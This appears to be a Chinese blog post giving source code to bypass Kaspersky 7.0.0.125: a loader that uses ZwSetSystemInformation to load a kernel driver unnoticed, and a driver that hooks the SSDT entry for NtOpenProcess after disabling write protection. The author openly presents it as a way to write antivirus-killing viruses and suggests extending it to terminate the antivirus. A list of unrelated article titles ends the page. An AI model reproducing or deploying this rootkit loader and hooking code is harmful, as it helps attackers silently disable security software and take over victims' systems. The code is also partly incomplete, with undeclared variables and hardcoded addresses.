ZwSetSystemInformation的使用,卡巴7.0.0.125的失誤.

前提:好几個月前有人公布了點卡吧的失誤,當時我沒留意,前天復習好無聊,試驗了一下結果嚇了一跳.好似現在中國都是用7.0.0.125這個版本的,危險,雖然7.0.1.133已經封了這個函數了不過是英文版,沒多少人去用吧?好了,下麵直接寫源碼并解析,相信對病毒有興趣的朋友會懂吧,又可以寫一個AV終結者類的病毒了.(源碼來自www.rootkit.com)

實驗對象:卡巴7.0.0.125
實驗函數:ZwSetSystemInformation
實驗內容:繞過卡吧裝驅動(多麽恐怖的事),結果將會使系統失去防禦

// TestKisOfZwSetSystemInformation.cpp : Defines the entry point for the console application.

//

#include <windows.h>

#include <stdio.h>

#include <stdlib.h>

// New Deployment Module for rootkit 040

// -------------------------------------

// -Greg Hoglund http://www.rootkit.com/

/*

有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》

ZwSetSystemInformation设置影响操作系统的信息,定义如下:

NTSYSAPI

NTSTATUS

NTAPI

ZwSetSystemInformation(

IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,

IN OUT PVOID SystemInformation,

IN ULONG SystemInformationLength);

参数:

SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个子集,SystemLoadAndCallImage就是

SystemInformation:

typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{

UNICODE_STRING ModuleName;

} SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;

SystemInformationLength:長度sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)

成员:

Module:要加载模块的NATIVE NT格式的完整路径

备注:

这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的DriverEntry例程一致)。如果入口点例程返回一个失败代码,则卸载模块。

SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量

SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的

SystemInformationClass来设置它

*/

//*-----一些數據類型的定義開始--------------

typedef unsigned long NTSTATUS;

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef struct _UNICODE_STRING

{

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

typedef VOID (__stdcall *RTLINITUNICODESTRING)(

IN OUT PUNICODE_STRING DestinationString,

IN PCWSTR SourceString

);

typedef NTSTATUS (__stdcall *ZWSETSYSTEMINFORMATION)(

IN DWORD SystemInformationClass,

IN OUT PVOID SystemInformation,

IN ULONG SystemInformationLength

);

typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE

{

UNICODE_STRING ModuleName;

} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;

#define SystemLoadAndCallImage 38

//*-----數據類型的定義結束--------------

void main(void)

{

SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;

RTLINITUNICODESTRING RtlInitUnicodeString;

ZWSETSYSTEMINFORMATION ZwSetSystemInformation;

if( !(RtlInitUnicodeString =

(RTLINITUNICODESTRING) GetProcAddress(GetModuleHandle("ntdll.dll"),

"RtlInitUnicodeString")) )//在ntdll.dll中获取RtlInitUnicodeString地址

exit(1);

if( !(ZwSetSystemInformation =

(ZWSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandle("ntdll.dll"),

"ZwSetSystemInformation")) )//在ntdll.dll中获取ZwSetSystemInformation地址

exit(1);

RtlInitUnicodeString( &(GregsImage.ModuleName),

L"//??//C://NtOpenProc.sys" );//加載的驅動就是這個了

if( NT_SUCCESS(ZwSetSystemInformation( SystemLoadAndCallImage,

&GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))//加载进内核空间

printf("Rootkit Loaded./n");

else printf("Rootkit not loaded./n");

}

驅動源碼是來自CSDN上的一篇文章的,內容是還原SSDT并可以繞過Inline Hook的(還原對象是NtOpenProcess),忘了文章的名稱,作者抱歉.

#include<ntddk.h>

typedef struct _SERVICE_DESCRIPTOR_TABLE

{

PVOID  ServiceTableBase;

PULONG  ServiceCounterTableBase;

ULONG  NumberOfService;

ULONG  ParamTableBase;

} SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; //由于KeServiceDescriptorTable只有一项,这里就简单点了

extern PSERVICE_DESCRIPTOR_TABLE    KeServiceDescriptorTable;//KeServiceDescriptorTable为导出函数

//---------------------------------------------------------------------

__declspec(naked) NTSTATUS __stdcall MyNtOpenProcess(

PHANDLE ProcessHandle,

ACCESS_MASK DesiredAccess,

POBJECT_ATTRIBUTES ObjectAttributes,

PCLIENT_ID ClientId)

{

DbgPrint("NtOpenProcess() called");

__asm

{

push    0C4h

push    804eb560h  //共十个字节

jmp    [JmpAddress]

}

}

//---------------------------------------------------------------------

VOID Hook()

{

ULONG  Address;

Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//0x7A为NtOpenProcess服务ID

DbgPrint("Address:0x%08X",Address);

OldServiceAddress = *(ULONG*)Address;//保存原来NtOpenProcess的地址

DbgPrint("OldServiceAddress:0x%08X",OldServiceAddress);

DbgPrint("MyNtOpenProcess:0x%08X",MyNtOpenProcess);

JmpAddress = (ULONG)NtOpenProcess + 10; //跳转到NtOpenProcess函数头+的地方,这样在其前面写的JMP都失效了

DbgPrint("JmpAddress:0x%08X",JmpAddress);

__asm

{//去掉内存保护

cli

mov  eax,cr0

and  eax,not 10000h

mov  cr0,eax

}

*((ULONG*)Address) = (ULONG)MyNtOpenProcess;//HOOK SSDT

__asm

{//恢复内存保护

mov  eax,cr0

or  eax,10000h

mov  cr0,eax

sti

}

}

VOID Unhook()

{

ULONG  Address;

Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//查找SSDT

__asm

{

cli

mov  eax,cr0

and  eax,not 10000h

mov  cr0,eax

}

*((ULONG*)Address) = (ULONG)OldServiceAddress;//还原SSDT

__asm

{

mov  eax,cr0

or  eax,10000h

mov  cr0,eax

sti

}

}

//---------------------------------------------------------------------

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)

{

Unhook();

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)

{

DriverObject->DriverUnload = OnUnload;

Hook();

return STATUS_SUCCESS;

}

好了,可以測試結果了,加載驅動是成功的,卡巴沒反應,此時用普通的軟件(例如:Syscheck2)都可以看到卡巴加載的模塊了,我就寫還原NtOpenProcess而已,但如果加多幾個函數,例如ZwTerminateProcess咧,那個恐怖,任務管理器就可以輕鬆結束掉卡吧(不過卡巴7嘛,沒那麽容易結束的,哈哈).

總之能繞過卡巴裝了驅動 , 恐怖 ! 黑客幾乎沒什麽不能做了 .

卡巴のZwSetSystemInformation的心寒相关推荐

  1. 击败安全系统系列文章之突破卡巴6

    击败安全系统系列(0)之前言 最近越来越感觉现阶段的各类安全系统设计上都存在一定的不足,没把各种可能的安全威胁考虑进去,在 Cever Hackers 面前就无能为力了.为了帮助各类安全软件设计上更完 ...

  2. 黑洞2007自定义协议版本 演示穿越卡巴6和ZA防火墙

    <<黑洞2007>>自定义协议版本 http://www.138soft.com/download/brc2007demo.rar 演示穿越卡巴6和ZA防火墙!现在外面的穿越卡 ...

  3. 卡巴循环30天不限次数循环试用工具

    本文需评论之后方可查看! @echo off @title 卡巴循环30天不限次数循环试用工具 @echo off echo 卡巴循环30天不限次数循环试用工具 echo. echo ======== ...

  4. 卡巴绿杀6 By Moshow魔手

    卡巴绿杀6 By Moshow魔手 Kaspersky Anti-Virus Move-edition 6 (-_-b汗Move Edition...)[这是卡巴斯基绿色移动版本·推荐用于u盘] By ...

  5. 乱谈卡巴CCTV黄金时段广告

    好长时间没看电视了,昨天晚上下班早,也没加班,回家只看到了新闻联播的尾巴,一琢磨正好看看天气预报.结果凑巧看见了卡巴的广告,虽然这广告因为被泄露我在网上早就看过了,虽然只有15秒但是它可以打进这样的黄 ...

  6. 卡巴2009与word冲突完美解决方案,经测试几十台计算机全部通过

    <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /> 如果安装了卡巴 ...

  7. oracle删除redo 未重启,卸载金山和瑞星后未重启就安装了卡巴,系统进不去了

    卸载金山和瑞星后未重启就安装了卡巴,系统进不去了 来源:互联网  宽屏版  评论 2010-08-03 20:52:26 分类: 电脑/网络 >> 软件 问题描述: 如题.我机器上原来有金 ...

  8. 儿子考上清华大学计算机系视频,儿子考上清华大学,家长忙发朋友圈,但收到的却不是祝福是心寒...

    现代人特有的分享方式:发朋友圈动态. 每年能够考上清华大学的学生虽不是普遍现象,但还是要求考生花费一些力气的.即便是认为学生的能力再强,当得知学生考上清华大学的那一刻也是激动万分的,毕竟这是一件光耀门 ...

  9. 装了卡巴电脑更卡?原来是Trojan-PSW.Win32.QQPass等盗号木马群作梗2

    装了卡巴电脑更卡?原来是Trojan-PSW.Win32.QQPass等盗号木马群作梗2 endurer 原创 2008-04-15 第1版 (续1) 开始修复~ 到 http://purpleend ...

最新文章

  1. 【论文解读】MV3D-Net、AVOD-Ne用于自动驾驶的多视图3D目标检测网络
  2. Java高级特性:clone()方法
  3. poj 1797(最短路变形)
  4. selenium webdirver之rdoc使用
  5. office professional 2010 key
  6. clamav Java_ClamAV安装使用及API例子
  7. mysql for 语句执行顺序_MySQL使用profile分析SQL语句执行过程
  8. PHP(2):搭建PHP 运行环境中可能出现的问题及处理方法
  9. Compare int a and int b without if
  10. 动态修改php的配置项
  11. 要点初见:用Python进行微观交通模型仿真——基于SUMO的伯克利开源项目Flow Project初探与拓展
  12. 为什么程序员会秃头?盘点程序员糟心的几大因素
  13. 2021年深度学习哪些方向比较新颖,处于上升期或者朝阳阶段,比较有研究潜力?...
  14. HM-A300小程序安卓打印异常
  15. 牛啊!微信支持发送彩色红包~~
  16. 硬盘柱面损坏怎么办_硬盘0磁道损坏怎么办
  17. Python pip 安装与使用
  18. 解决谷歌浏览器打开控制台有延迟
  19. JRebel has expired Jrebel过期解决!!
  20. JS计算当前日期的周次

热门文章

  1. latex数学公式,希腊字母,字体总结
  2. 大学生校园生活心得感悟
  3. PTA-找最小的字符串
  4. 毕业设计-基于微信小程序的“智慧游海底”系统
  5. 程序员一个胳膊受伤了,只能用一个手写代码怎么办?
  6. 通过iclutch、以及class-dump逆向出ios上app的类定义及头文件
  7. iOS App提交被拒理由分享汇
  8. C语言浮点数的各种表示方法
  9. 统计学习笔记:假设检验基本概念及U检验、T检验、F检验
  10. 知识付费真的是一个好的创业项目吗?能兼职做吗?